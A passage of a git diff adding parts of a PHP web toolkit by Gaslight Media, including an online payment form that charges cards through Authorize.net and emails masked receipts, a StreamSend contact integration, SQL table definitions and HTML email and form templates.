+        $this->formData['comments']['element'] = nl2br($this->getSubmitValue('comments'));
+
+               $page->email_from  = OWNER_EMAIL;
+               $page->subject     = $this->subject;
+               $page->client_info = $this->clientInfo;
+               $page->fname       = $this->getSubmitValue('fname');
+               $page->lname       = $this->getSubmitValue('lname');
+               $page->formData    = $this->formData;
+
+        unset($page->formData['cc_cvv']);
+               foreach ($page->formData as $formFieldName => $i) {
+            if ($formFieldName == "cc_num") {
+                $ccNum = preg_replace('/\d/', '*', $i['element'], strlen($i['element']) - 4);
+                $page->formData['cc_num']['element'] = $ccNum;
+            }
+               }
+
+               $template->compile('emailOwner.tpl');
+               $htmlMsg = $template->bufferedOutputObject($page);
+
+               $msg  = "{$page->subject}\n\n";
+               $msg .= "From {$page->fname} {$page->lname}\n\n";
+               $msg .= "Information\n\n";
+               foreach ($page->formData as $i) {
+                   $msg .= "{$i['label']}: {$i['element']}\n";
+               }
+
+        $mimeMail = new Mail_mime("\n");
+               $mimeMail->setFrom("Online Payment Form <{$page->email_from}>");
+               $mimeMail->setSubject($this->subject);
+               $mimeMail->setHTMLBody($htmlMsg);
+               $mimeMail->setTXTBody($msg);
+
+               $mail =& Mail::factory($mailFactory);
+               $body = $mimeMail->get();
+
+        $setHeader['Reply-To'] = "{$this->getSubmitValue('fname')} {$this->getSubmitValue('lname')} <{$this->getSubmitValue('email')}>";
+
+               $headers = $mimeMail->headers($setHeader);
+
+               $res = $mail->send($this->email, $headers, $body);
+               if (PEAR::isError($res)) {
+                       return Toolkit_Common::handleError($res);
+               } else {
+                       return $res;
+               }
+       }
+
+       //      }}}
+    //  {{{ emailReceipt()
+
+    protected function emailReceipt()
+    {
+        $e1          =& $this->getElement('email');
+        $email = $e1->getValue();
+        if (!$email) {
+            return false;
+        }
+        try {
+            $headers['From']    = 'Gaslight Media Online Payment <'.OWNER_EMAIL.'>';
+            $headers['Subject'] = 'Gaslight Media Online Payment';
+            $headers['Reply-To'] = OWNER_EMAIL;
+
+            $e     =& $this->getElement('cc_num');
+            $ccNum = $e->getValue();
+            $ccNum = preg_replace('/\d/', '*', $ccNum, strlen($ccNum) - 4);
+
+            $body  = "Your card has been charged by " . SITENAME . ". Below is your receipt of payment.\n\n";
+            $body .= "Confirmation #: {$this->transactionId} \n";
+            $body .= "Amount: \${$this->formData['amount']['element']} \n";
+            $body .= "Card Holder: {$this->formData['fname']['element']} {$this->formData['lname']['element']}\n";
+            $body .= "Card Number: $ccNum\n";
+
+            $body .= "Please print or write down your confirmation number for your records.\n";
+            $body .= "If you have questions regarding your payment, please call:\n\n";
+
+            $body .= "231.487.0692";
+
+            $mail =& Mail::factory('mail');
+            $mail->send($email, $headers, $body);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //
+       //      {{{     error()
+
+    /**
+     * Display errors with the form to the user
+     *
+     * @param object $error PEAR Error Object
+        *
+     * @return void
+     * @access public
+     */
+       public function error($error)
+       {
+               //      make the variables static so that is only has to do the defining
+               //      on the first call.
+               static $errorMessages;
+               static $className;
+
+               //      define the various error messages
+               if (!isset($errorMessages)) {
+                       $className     = get_class($this);
+                       $errorMessages = array(
+                               FORM_OK                      => 'No error',
+                               FORM_ERROR                   => 'Unknown error',
+                               NO_RECORD                    => 'Setting both properties (email and hasContactDB) to false in the <i>' . $className . '</i> class will result in no email record being sent and no record being inserted into the database.  There will be no record that this form was ever filled out.',
+                               INVALID_DB                   => 'Please set the property hasContactDB to a boolean value in the class <i>' . $className . '</i> before continuing',
+                               MISSING_CONSTANT     => 'You have failed to set a CONSTANT for the class <i>' . $className . '</i> to function properly',
+                               MISSING_CONTACT_TYPE => 'Please set the property contactType in the class <i>'. $className . '</i> before continuing',);
+               }
+
+               if (!is_null($error->message)) {
+                       $message = $error->message;
+               } elseif (isset($errorMessages[$error->code])) {
+                       $message = $errorMessages[$error->code];
+               } else {
+                       $message = $errorMessages[$error->code];
+                       $message = $errorMessages[FORM_ERROR];
+               }
+
+               echo "<div id=\"form-warning-top\">{$message}</div>";
+       }
+
+       //      }}}
+    // {{{ getBusinessTypes()
+    /**
+     * getBusinessTypes
+     *
+     * @access public
+     * @return string
+     */
+    function getBusinessTypes()
+    {
+        return array(
+            '' => "Choose business",
+            "Advertising",
+            "Entertainment",
+            "Financial/Legal",
+            "Manufacturing",
+            "Publishing",
+            "Retail",
+            "Real Estate",
+            "Travel",
+            "Web Development",
+            "Wholesale",
+            "Other",
+        );
+    }
+    // }}}
+       //      {{{     getInterestFields()
+
+    /**
+     * Returns the field definitions of the contact db interest fields
+     *
+     * @return array     Group definitions for the interest fields
+     * @access protected
+     */
+       protected function getInterestFields()
+       {
+               if (is_array($this->inquiries)) {
+            foreach ($this->inquiries as $group => $data) {
+                foreach ($data as $k => $v) {
+                    $interests[$group][] = array('type' => 'checkbox',
+                                             'req' => false,
+                                             'name' => $k,
+                                             'opts' => $v);
+                }
+                       }
+               }
+
+               return $interests;
+       }
+
+       //      }}}
+
+       //      {{{     processAuthNet()
+
+       /**
+        * Send payment to auth.net
+        *
+        * Test Cards
+        * Card Number      Card Type
+        * ===============  ===============
+        * 370000000000002  American Express
+        * 6011000000000012 Discover Card
+        * 5424000000000015 MasterCard
+        * 4000000000000000 Visa
+        *
+        * @param array $values Submitted values from the form
+        *
+        * @return array Auth.net response
+        * @access protected
+        */
+       protected function processAuthNet($values)
+       {
+               $this->setFormData();
+
+               $authNetValues = array(
+                       'x_login'            => $this->_config->auth_net->login,
+                       'x_version'          => '3.1',
+                       'x_delim_char'       => '|',
+                       'x_delim_data'       => 'TRUE',
+                       'x_type'             => 'AUTH_CAPTURE',
+                       'x_method'           => 'CC',
+                       'x_tran_key'         => $this->_config->auth_net->tran_key,
+                       'x_relay_response'   => 'FALSE',
+                   'x_test_request'     => $this->_config->auth_net->test ? "TRUE" : "FALSE",
+                       'x_card_num'         => $values['cc_num'],
+                       'x_exp_date'         => implode('', $values['cc_exp']),
+                       'x_amount'           => $values['amount'],
+            'x_first_name'       => $values['cc_fname'],
+            'x_last_name'        => $values['cc_lname'],
+                       'x_address'          => $values['address'],
+                       'x_city'             => $values['city'],
+                       'x_state'            => $values['state'],
+                       'x_zip'              => $values['zip'],
+                       'x_phone'            => $values['phone'],
+                       'x_invoice_num'      => $values['invoice_number'],
+                       'x_company'          => $values['company'],
+                       'x_email'            => $values['email'],
+                       'x_customer_ip'      => $values['remote_addr'],
+                       'x_duplicate_window' => $this->_config->auth_net->duplicate_window,
+               );
+
+               $fields = '';
+               foreach ($authNetValues as $i => $j) {
+                       $fields .= "$i=" . urlencode($j) . '&';
+               }
+
+               $ch = curl_init($this->_config->auth_net->url);
+               //      set to 0 to elimindate header info from response
+               curl_setopt($ch, CURLOPT_HEADER, 0);
+               //      Returns response data instead of TRUE(1)
+               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+               //      Use HTTP POST to send form data
+                       curl_setopt($ch, CURLOPT_POSTFIELDS, rtrim($fields, "& "));
+               //      Uncomment this line if you get no gateway response. ###
+               //      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
+               //      Execute post and get results
+               $resp = curl_exec($ch);
+               curl_close($ch);
+
+               $res = explode('|', $resp);
+        $this->transactionId = $res[6];
+               return $res;
+       }
+
+       //      }}}
+       //      {{{     processData()
+
+    /**
+     * Handles how to process the form when submitted
+     *
+     * @param array $values Form submitted values
+        *
+     * @return array     Result of Insert / Update function
+     * @access protected
+     */
+       public function processData($values)
+       {
+        //echo '<pre>'.print_r($values, true).'</pre>';
+        //exit;
+           //$this->setFormData();
+               //      Form data used for the insert/update sql queries and
+               //      the form email.
+               $e = array(
+                       'user_agent',
+                       'remote_addr',
+                       'contact_type',
+               );
+        return $this->processAuthNet($values);
+
+       }
+
+       //      }}}
+
+       //      {{{     setInterestFields()
+
+    /**
+     * Contact DB interests
+     *
+     * @return void
+     * @access protected
+     */
+       protected function setInterestFields()
+       {
+        $this->inquiries['Area of Interest. Check all That Apply'] = array(
+            'Web Site Development',
+            'Web Hosting',
+            'Search Engine Optimization Program',
+            'Wireless Equipment/Connectivity',
+            'Broadband/Connectivity',
+            'Network Consultation',
+        );
+       }
+
+       //      }}}
+       //      {{{     setConfig()
+
+    /**
+     * Contact DB interests
+     *
+     * @return void
+     * @access protected
+     */
+       public function setConfig(Zend_Config_Ini $config)
+       {
+               $this->_config = $config;
+       }
+
+       //      }}}
+       //      {{{     setupRenderers()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Custom rendering templates for special fields on the form
+     *
+     * @return void
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req"> * </span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="req"> {error} </div><!-- END error -->';
+               $renderer->setElementTemplate('<tr><td colspan="2" class="fieldcell checkbox">'.$required.'{label}'.$error.'{element}</td></tr>', 'interest');
+        if (is_array($this->interestsGroups)) {
+            foreach ($this->interestsGroups as $group => $gData) {
+                $renderer->setGroupTemplate('<br>{content}', 'interest['.$group.']');
+                $renderer->setGroupElementTemplate('{element}', 'interest['.$group.']');
+                       $renderer->setElementTemplate('<tr><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'interest['.$group.']');
+            }
+        }
+               $renderer->setElementTemplate('<tr><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'comments');
+               $renderer->setElementTemplate('<tr align="center"><td colspan="2">'.$required.'{label}'.$error.'{element}</td></tr>', 'submit_rmv');
+
+               $renderer->setElementTemplate('<tr><td class="labelcell"><label>{label}</label></td><td class="fieldcell captcha">{element}</td></tr>', 'captcha_question');
+               $renderer->setElementTemplate('<tr><td class="labelcell">'.$required.'<label>{label}</label></td><td class="fieldcell">'.$error.'{element}<span class="tooltip" title="Verification Code|To help us distinguish between information submitted by individuals and those automatically entered by software robots, please type the letters shown.">What is this?</span></td></tr>', 'captcha_rmv');
+       }
+
+    //  @codeCoverageIgnoreEnd
+       //      }}}
+       //      {{{     toHtml()
+
+    /**
+     * Handles how to display the current step the user is at in the form
+     *
+        * destroying and resetting the captcha value dis-allows someone from
+        * re-sending a form on a previous captcha.
+        *
+     * @return string form HTML state
+     * @access public
+     */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       $this->captchaQuestion->destroy();
+                       $this->cleanForm();
+                       $ret = $this->process(array(&$this, 'processData'));
+                       if (is_array($ret) && !empty($ret)) {
+                               $this->freeze();
+                               if ($ret[0] == 1) {
+                                       //      Success
+                                       $date = date('Y');
+                                       $output = $this->successMsg;
+
+                                       //      Obscure CC Num so its not displayed.
+                                       $e        =& $this->getElement('cc_num');
+                                       $ccNum    = $e->getValue();
+                                       $newCCNum = preg_replace('/\d/', '*', $ccNum, strlen($ccNum) - 4);
+                                       $e->setValue($newCCNum);
+
+                                       //      Remove the CVV Num so its not displayed.
+                                       $this->removeElement('cc_cvv');
+                                       $this->removeElement('verificationHdr');
+                                       $this->removeElement('captcha_question');
+
+                    $this->emailOwner();
+                    $this->emailReceipt();
+
+                                       //      This is a continuation of the group element hack.
+                                       $html    = parent::toHTML();
+                                       $output .= preg_replace('/<tt>\(x\)<\/tt>/', '', $html, 1);
+                               } elseif ($ret[0] == 2) {
+                                       //      Declined
+                                       $output  = '<p><strong>Your credit card has been declined.</strong></p>';
+                                       $output .= '<p>Please call us at 231.487.0692 for help.</p>';
+                               } else {
+                                       //      Error
+                                       $output  = '<p><strong>There was an error processing your credit card.</strong></p>';
+                                       $output .= '<p>Please call us at 231.487.0692 for help.</p>';
+                               }
+                       } else {
+                               $output  = '<p><strong>There was an error processing your credit card.</strong></p>';
+                               $output .= '<p>Please call us at 231.487.0692 for help.</p>';
+                       }
+               } elseif ($this->isSubmitted()) {
+                       $this->captchaQuestion->destroy();
+                       $this->captchaAnswer->setValue('');
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHTML();
+               } else {
+                       $this->captchaQuestion->destroy();
+                       $this->captchaAnswer->setValue('');
+                       $output = parent::toHTML();
+               }
+               return $output;
+       }
+
+       //      }}}
+}
diff --git a/Toolkit/Contacts/StreamSend.php b/Toolkit/Contacts/StreamSend.php
new file mode 100755 (executable)
index 0000000..112539c
--- /dev/null
@@ -0,0 +1,201 @@
+<?php
+/**
+ * StreamSend.php
+ * 
+ * PHP version 5
+ * 
+ * All Right Reserved
+ * 
+ * @category  Contacts
+ * @package   Toolkit_Contacts
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: StreamSend.php,v 1.1.1.1 2009/09/17 20:08:57 matrix Exp $
+ * @link      <>
+ */
+
+/**
+ * Default parameters for contact create operations.
+ * Note that these are strings for use in XML data not true/false values.
+ * If false, the person will be created with a status of pending
+ */
+define('STREAMSEND_DEFAULT_ACTIVATE', 'false');
+/**
+  * If activate is false, setting this to true will trigger the sending of the built-in 
+  * activation notification; if activate is true, this setting has no effect
+  */
+define('STREAMSEND_DEFAULT_DELIVER_ACTIVATION', 'true');
+/**
+  * If activate is true, setting this to true will trigger the sending of the built-in 
+  * welcome notification; if activate is false, this setting has no effect
+  */
+define('STREAMSEND_DEFAULT_DELIVER_WELCOME', 'false');
+/**
+  * URI for streamsend API
+  */
+define('STREAMSEND_BASE_URL', "https://app.streamsend.com");
+
+/**
+ * Toolkit_Contacts_StreamSend
+ * 
+ * Contact support class for inergration with StreamSend API
+ * 
+ * @category  Contacts
+ * @package   Toolkit_Contacts
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @link      <>
+ */
+class Toolkit_Contacts_StreamSend
+{
+    // {{{ Class Properties
+
+
+    /**
+     * Description for public
+     * @var    boolean
+     * @access public 
+     */
+    public $debug = false;
+
+    /**
+     * streamSendFields
+     * 
+     * array with key values matching the gaslight contact tabel to the
+     * StreamSend field (normal fields)
+     * 
+     * @var    array    
+     * @access protected
+     */
+    protected $streamSendFields = array(
+        'email'    => 'email-address',
+        'fname'    => 'first-name',
+        'lname'    => 'last-name',
+        'address'  => 'address1',
+        'address2' => 'address2',
+        'city'     => 'city',
+        'state'    => 'stateprovince',
+        'zip'      => 'postal-code',
+        'phone'    => 'phone-number'
+    );
+
+    /**
+     * contactInqTypes
+     * 
+     * array with key values matching the gaslight contact_inq tabel to the
+     * StreamSend field (Radio fields)
+     * key   = id from contact_inq table
+     * value = name from contact_inq_table
+     * value is same name as the StreamSend fieldname
+     * 
+     * @var    array    
+     * @access protected
+     */
+    protected $contactInqTypes = array();
+
+    /**
+     * booleanTypes
+     * 
+     * StreamSend fields (boolean fields) an array of field names for the 
+     * boolean field types
+     * 
+     * @var    array    
+     * @access protected
+     */
+    protected $booleanTypes = array();
+    // }}}
+    // {{{ __construct()
+
+
+    /**
+     *  __construct(
+     * 
+     * @return void  
+     * @access public
+     */
+    public function __construct()
+    {
+    }
+
+
+    // }}}
+    // {{{ addContact()
+
+
+    /**
+     * addContact
+     * 
+     * Given $values from a Toolkit_Contacts Form add Contact
+     * 
+     * @param array $values Parameter description (if any) ...
+     *                         
+     * @return boolean Return true if successfull
+     * @access public 
+     */
+    public function addContact($values)
+    {
+        // check the array $values to make sure it is correct
+        if (is_array($values) && !empty($values)) {
+            include_once GLM_APP_BASE.'StreamSend/class_streamsend_api.inc';
+            // initialize the streamsend object
+            $ss = new streamSend (STREAMSEND_BASE_URL, STREAMSEND_LOGIN_ID, 
+                STREAMSEND_KEY);
+            $ss->debug = $this->debug;
+            $contactData = array();
+            $values[$type] = 1;
+            foreach ($this->streamSendFields as $glmName => $ssName) {
+                switch ($glmName) {
+                case "state":
+                    $contactData[$ssName] = ($values[$glmName]) ? $GLOBALS['states'][$values[$glmName]]: '';
+                    break;
+                default:
+                    $contactData[$ssName] = $values[$glmName];
+                    break;
+                }
+            }
+            foreach ($this->contactInqTypes as $contactInqId => $name) {
+                $slug = str_replace(" ", "-", strtolower($this->contactInqTypes[$contactInqId]));
+                if ($values['interest'][$contactInqId]) {
+                    $contactData[$slug] = 'Yes';
+                } else {
+                    $contactData[$slug] = 'No';
+                }
+            }
+            foreach ($this->booleanTypes as $name) {
+                if ($values[$name]) {
+                    $contactData[$name] = 'Yes';
+                } else {
+                    $contactData[$name] = 'No';
+                }
+            }
+            $contacts = $ss->contactCreate(
+                $contactData, 
+                STREAMSEND_DEFAULT_ACTIVATE, 
+                STREAMSEND_DEFAULT_DELIVER_ACTIVATION, 
+                STREAMSEND_DEFAULT_DELIVER_WELCOME
+            );
+            if (!$contacts) {
+
+                // show errors if on development server
+                switch (GLM_HOST_ID) {
+                case "DEVELOPMENT":
+                    echo "<p>A total and complete failure occured.";
+                    break;
+                case "PRODUCTION":
+                    break;
+                }
+            }
+            if ($ss->debug == true) {
+                echo '<p><h3>Debug Results</h3>'.$ss->debugBuffer.'</p>';
+            }
+            return true;
+        }
+        return false;
+    }
+
+
+    // }}}
+}
+?>
diff --git a/Toolkit/Contacts/database-table-modifiers.sql b/Toolkit/Contacts/database-table-modifiers.sql
new file mode 100644 (file)
index 0000000..b539d26
--- /dev/null
@@ -0,0 +1,46 @@
+CREATE SEQUENCE contact_id_seq
+    INCREMENT BY 1
+    NO MAXVALUE
+    NO MINVALUE
+    CACHE 1;
+
+ALTER TABLE contact ALTER COLUMN id SET DEFAULT nextval('contact_id_seq'::regclass);
+
+ALTER TABLE ONLY contact
+    ADD CONSTRAINT contact_pkey PRIMARY KEY (id);
+
+CREATE INDEX contact_create_date_indx ON contact USING btree (create_date);
+
+CREATE INDEX contact_email_indx ON contact USING btree (email);
+
+CREATE INDEX contact_fname_indx ON contact USING btree (fname);
+
+CREATE UNIQUE INDEX contact_id_indx ON contact USING btree (id);
+
+CREATE INDEX contact_lname_indx ON contact USING btree (lname);
+
+CREATE UNIQUE INDEX news_response_id_indx ON contact USING btree (id);
+
+CREATE UNIQUE INDEX query_db_id_indx ON contact USING btree (id);
+
+CREATE SEQUENCE contact_inq_id_seq
+    INCREMENT BY 1
+    NO MAXVALUE
+    NO MINVALUE
+    CACHE 1;
+
+ALTER TABLE contact_inq ALTER COLUMN id SET DEFAULT nextval('contact_inq_id_seq'::regclass);
+
+ALTER TABLE ONLY inq_group
+    ADD CONSTRAINT inq_group_pkey PRIMARY KEY (id);
+
+CREATE SEQUENCE inq_group_id_seq
+    INCREMENT BY 1
+    NO MAXVALUE
+    NO MINVALUE
+    CACHE 1;
+
+ALTER TABLE inq_group ALTER COLUMN id SET DEFAULT nextval('inq_group_id_seq'::regclass);
+
+ALTER TABLE ONLY inq_group
+    ADD CONSTRAINT inq_group_pkey PRIMARY KEY (id);
diff --git a/Toolkit/Contacts/database-tables.sql b/Toolkit/Contacts/database-tables.sql
new file mode 100644 (file)
index 0000000..1b71879
--- /dev/null
@@ -0,0 +1,45 @@
+CREATE TABLE contact (
+    id integer NOT NULL,
+    create_date date DEFAULT CURRENT_DATE,
+    fname text,
+    lname text,
+    company text,
+    address text,
+    address2 text,
+    city text,
+    state text,
+    zip text,
+    country text,
+    phone text,
+    fax text,
+    email text,
+    user_agent text,
+    remote_addr text,
+    interest text,
+    mail_ok boolean DEFAULT false,
+    visitorguide boolean DEFAULT false,
+    uidpdf text,
+    visitorguide_download boolean DEFAULT false,
+    email_verified boolean DEFAULT true,
+    contact_type text,
+    discover text,
+    member_ok boolean DEFAULT false,
+    staff boolean DEFAULT false,
+    comments text,
+    password text,
+    verify_password text
+);
+
+CREATE TABLE inq_group (
+    id integer NOT NULL,
+    name text
+);
+
+CREATE TABLE contact_inq (
+    id integer NOT NULL,
+    header text,
+    pos integer,
+    description text,
+    image text,
+    groupid integer
+);
diff --git a/Toolkit/Contacts/templates/brochurePage.html b/Toolkit/Contacts/templates/brochurePage.html
new file mode 100755 (executable)
index 0000000..b90d3d5
--- /dev/null
@@ -0,0 +1,9 @@
+<link type="text/css" rel="stylesheet" href="<?php echo BASE_URL;?>contactform.css">
+<div flexy:if="pdfForm"><strong>DOWNLOAD:</strong> 
+  <p>We will email you a link to the PDF version of the {brochure}.</p> 
+</div>
+<div>
+  {pdfForm:h}
+</div>
+<p style="clear: both;" flexy:if="contactForm"><strong>ORDER BY MAIL:</strong></p>
+{contactForm:h}
diff --git a/Toolkit/Contacts/templates/currentTables/Element.tpl b/Toolkit/Contacts/templates/currentTables/Element.tpl
new file mode 100755 (executable)
index 0000000..595457b
--- /dev/null
@@ -0,0 +1,14 @@
+<tr>
+       <td class="labelcell">
+               <!-- BEGIN required -->
+               <span class="req">*</span>
+               <!-- END required -->
+               <label>{label}</label>
+       </td>
+       <td class="fieldcell">
+               <!-- BEGIN error -->
+               <div class="req"> {error} </div>
+               <!-- END error -->
+               {element}
+       </td>
+</tr>
diff --git a/Toolkit/Contacts/templates/currentTables/Form.tpl b/Toolkit/Contacts/templates/currentTables/Form.tpl
new file mode 100755 (executable)
index 0000000..f59286a
--- /dev/null
@@ -0,0 +1,7 @@
+<div id="contact">
+       <form{attributes}>
+               <table>
+                       {content}
+               </table>
+       </form>
+</div>
diff --git a/Toolkit/Contacts/templates/currentTables/Group.tpl b/Toolkit/Contacts/templates/currentTables/Group.tpl
new file mode 100755 (executable)
index 0000000..cdd24cf
--- /dev/null
@@ -0,0 +1,5 @@
+<table class="group">
+       <tbody>
+               {content}
+       </tbody>
+</table>
diff --git a/Toolkit/Contacts/templates/currentTables/GroupElement.tpl b/Toolkit/Contacts/templates/currentTables/GroupElement.tpl
new file mode 100755 (executable)
index 0000000..1a4ba27
--- /dev/null
@@ -0,0 +1,9 @@
+<tr>
+       <td>
+               {element}
+               <!-- BEGIN required -->
+               <span class="req">*</span>
+               <!-- END required -->
+               {label}
+       </td>
+</tr>
diff --git a/Toolkit/Contacts/templates/currentTables/Header.tpl b/Toolkit/Contacts/templates/currentTables/Header.tpl
new file mode 100755 (executable)
index 0000000..64ac244
--- /dev/null
@@ -0,0 +1,5 @@
+<tr class="hdr">
+       <td colspan="2">
+               {header}
+       </td>
+</tr>
diff --git a/Toolkit/Contacts/templates/currentTables/RequiredNote.tpl b/Toolkit/Contacts/templates/currentTables/RequiredNote.tpl
new file mode 100755 (executable)
index 0000000..dad5d0b
--- /dev/null
@@ -0,0 +1 @@
+<span class="req">* = Required Fields</span>
diff --git a/Toolkit/Contacts/templates/direct-list.html b/Toolkit/Contacts/templates/direct-list.html
new file mode 100755 (executable)
index 0000000..eefc842
--- /dev/null
@@ -0,0 +1,29 @@
+<h1>Your Trip Planner List</h1>
+<p>Below is the list of businesses you have added to your Trip Planner. The form below will be sent to each individual business listing that has an email address listed with their business listing. For those businesses with no email address, we have included their phone numbers for you to call directly and request additional information.</p>
+<h2 flexy:if="memberDirectNoEmail">Request Information by Phone from:</h2>
+<p>These business listings have no current email address on file. To receive additional information please call the phone numbers listed next to each business name.</p>
+<table flexy:if="memberDirectNoEmail">
+    <tr>
+        <th>Name</td>
+        <th>Phone</td>
+        <th>&nbsp;</td>
+    </tr>
+    {foreach:memberDirectNoEmail,member}
+    <tr class="{member[trclass]}">
+        <td><a href="{member[memberLink]}">{member[memberName]}</a></td>
+        <td>{member[memberPhone]}</td>
+        <td class="rowDelete"><a href="{member[deleteLink]}" style="text-decoration: underline;">Remove</a></td>
+    </tr>
+    {end:}
+</table>
+<h2 flexy:if="memberDirect">Request Information by Email from:</h2>
+<p flexy:if="memberDirect">This list of businesses will receive the following information form directly to their email account.</p>
+<table flexy:if="memberDirect">
+    {foreach:memberDirect,member}
+    <tr class="{member[trclass]}">
+        <td><a href="{member[memberLink]}">{member[memberName]}</a></td>
+        <td class="rowDelete"><a href="{member[deleteLink]}" style="text-decoration: underline;">Remove</a></td>
+    </tr>
+    {end:}
+</table>
+<h2 flexy:if="memberDirect">Plan Your Trip Information Request Form</h2>
diff --git a/Toolkit/Contacts/templates/emailOwner.tpl b/Toolkit/Contacts/templates/emailOwner.tpl
new file mode 100755 (executable)
index 0000000..e574342
--- /dev/null
@@ -0,0 +1,61 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>{title:h}</title>
+</head>
+<body>
+       <!-- {{{ body -->
+       <p>
+               <font size="4" face="arial, sans-serif">
+                       <b>{subject:h}</b>
+               </font>
+       </p>
+       <p>
+               <font size="3" face="arial, sans-serif">
+                       <b>From {fname:h} {lname:h}</b>
+               </font>
+       </p>
+       <table cellspacing="0" cellpadding="0" bgcolor="#c0c0c0" border="0">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="5" border="0" bgcolor="#c0c0c0" width="400">
+                                       {foreach:formData,v}
+                                               <tr flexy:if="v[element]" bgcolor="#c0c0c0">
+                                                       <td align="right" bgcolor="#ffffff">
+                                                               <font size="2" face="arial, sans-serif">
+                                                                       <b>{v[label]:h}</b>
+                                                               </font>
+                                                       </td>
+                                                       {if:v[nowrap]}
+                                                               <td nowrap bgcolor="#ffffff">
+                                                                       <font size="2" face="arial, sans-serif">{v[element]:h}</font>
+                                                               </td>
+                                                       {else:}
+                                                               <td bgcolor="#ffffff">
+                                                                       <font size="2" face="arial, sans-serif">{v[element]:h}</font>
+                                                               </td>
+                                                       {end:}
+                                               </tr>
+                                       {end:}
+                               </table>
+                       </td>
+               </tr>
+               <tr>
+                       <td>
+                               <table cellspacing="0" cellpadding="10" border="0" width="400">
+                                       <tr>
+                                               <td bgcolor="#eeeeee">
+                                                       <font size="1" face="arial, sans-serif">
+                                                               To ensure the delivery of these e-mails to your inbox, please add {email_from:h} to your e-mail Address Book or Safe List.
+                                                       </font>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>                           
+                                                       
+       </table>
+       <!-- }}} -->
+</body>
+</html>
diff --git a/Toolkit/Contacts/templates/friendEmail.html b/Toolkit/Contacts/templates/friendEmail.html
new file mode 100644 (file)
index 0000000..358ded6
--- /dev/null
@@ -0,0 +1,49 @@
+<html>
+               <style type="text/css">
+               <!--
+               body { background-color: #fff;
+                       color: black;
+                       font-family: verdana, arial, helvetica, sans-serif;
+                       }
+               h1, h2 {font-family: arial, helvetica, sans-serif;}     
+               h1 {font-size: 18px; }
+               h2 {font-size: 16px; margin-bottom: 5px;}
+               p {font-size: 12px;}
+               .label {
+                       font-weight: bold; 
+                       background-color: transparent;
+                       text-align: right;
+                       width: 200px;
+                       padding: 5px;
+                       }
+               .field {
+                       //background-color: #F2F7FB;
+                       background-color: #fff;
+                       padding: 3px;
+                       }
+               table.data { 
+                       //background-color: #F9FBFD; 
+                       background-color: #fff; 
+                       color: #000; 
+                       width: 500px;  
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       border-collapse: collapse; 
+                       margin-left: 20px;
+                       }
+               table.data td { 
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       padding-left: 4px; 
+                       font-size: 12px;
+                       }       
+               -->
+</style>
+<body>
+               
+    <p>Dear {fname}</p>
+    <p>Your friend {yname} has been to <a href="baseurl">demo.gaslightmedia.com</a>, and thought you might be interested in it. </p>
+    <p>Message here.</p>
+    <div>&nbsp;</div><br clear="all">
+</body>
+</html>
diff --git a/Toolkit/Contacts/templates/pdfDownloadEmail.html b/Toolkit/Contacts/templates/pdfDownloadEmail.html
new file mode 100755 (executable)
index 0000000..6f01198
--- /dev/null
@@ -0,0 +1,19 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+       <meta http-equiv="content-type" content="text/html;charset=utf-8">
+       <title>{title:h}</title>
+</head>
+<body>
+               <!-- {{{ body -->
+        <b>{subject:h}</b>
+        <p>Thank you for requesting the {pdfName} Link.  Here is the link to the Adobe PDF version:
+            </p>
+        <p><a href="{pdfLinkURL}">Brochure</a> ({pdfFileSize})</p>
+        <p>Thank you for your interest in {client_info[name]:h}'!</p>
+        <p>Sincerely,</p>
+        <p>{client_info[name]:h}</p>
+        <p>{client_info[url]:h}</p>
+               <!-- }}} -->
+</body>
+</html>
diff --git a/Toolkit/DataGridBuilder.php b/Toolkit/DataGridBuilder.php
new file mode 100644 (file)
index 0000000..691d539
--- /dev/null
@@ -0,0 +1,285 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Create Datagrids for displaying data
+ *
+ * PHP version 5
+ *
+ * @category Structures
+ * @package  Toolkit_DataGridBuilder
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Create Datagrids for displaying data
+ *
+ * This abstract class handles all the base functionality of creating
+ * handeling all the details associated w/ a regular dataGrid.
+ * 1. Creation
+ * 2. Sorting (via column headers or sortform)
+ * 3. Pagenation
+ *
+ * @category  Structures
+ * @package      Toolkit_DataGridBuilder
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @Release      CVS: $Id: DataGridBuilder.php,v 1.1.1.1 2009/09/17 20:08:55 matrix Exp $
+ * @link         http://demo.gaslightmedia.com
+ * @see                  Toolkit_SortForm, Structures_DataGrid
+ */
+abstract class Toolkit_DataGridBuilder extends Structures_DataGrid
+{
+       //      {{{ properties
+
+    /**
+     * Options to pass to DataGrid
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $options;
+
+    /**
